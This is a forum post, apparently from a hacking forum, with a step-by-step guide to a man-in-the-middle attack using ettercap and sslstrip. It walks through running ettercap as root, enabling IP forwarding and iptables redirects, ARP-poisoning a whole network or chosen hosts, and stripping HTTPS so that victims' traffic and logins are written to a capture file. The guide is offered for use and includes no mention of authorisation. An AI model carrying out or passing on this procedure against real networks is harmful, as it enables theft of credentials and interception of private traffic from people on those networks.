have you setup ettercap use the command side and report back heres a little guide I wrote to help you
Code:
nano /etc/etter.conf
hold shift + press w then t
enter line 17 and you will see these lines you must change to 0
ec_uid = 65534 # nobody is the default
ec_gid = 65534 # nobody is the default
to this
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
hold shift + press w then t
type 1 then
hold shift + press w then t
type 168 and change the following lines
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
to this
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
press ctrl+x and y to save
now time to start ettercap and sslstrip
Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
start ettercap
Code:
ettercap -T -q -M ARP // // -i (interface)
just a word of warning // // will arp the whole network and depending on the size it can slow the network down to a crawl if you are using a very slow computer
you are better off using a selected host or hosts
Code:
ettercap -T -q -M ARP /gateway/ /target/
to get your gateway
now start sslstrip to strip the https (Hypertext Transfer Protocol Secure) back to http((Hypertext Transfer Protocol)
open a new terminal
Code:
sslstrip -l 1000 -w capture.txt
you can also use other sslstrip options
Code:
sslstrip -k -f -l 10000 -w capture
-k kill all other sslstrip existing operations
-f favicon (the little lock icon ) pointless icon if anyone needs to be reassured just check the https heading when logging in if its (http) and not (https) it has been stripped or an error
-l listen on port 10000 all info form port 80 which is http will be redirected to port 1000
-w write the stripped code to specified file
********************************************IMPORT ANT********************************************
WHEN QUITTING ETTERCAP PRESS 'q' DO NOT JUST CLOSE THE TERMINAL THIS WILL RESULT IN DOS(denial of service) the arp needs to be resolved
with sslstrip exit by pressing ctrl+c
there is a hell of a lot more to it than this but im just giving you the basic to use the tool the rest is for you to learn
r083rt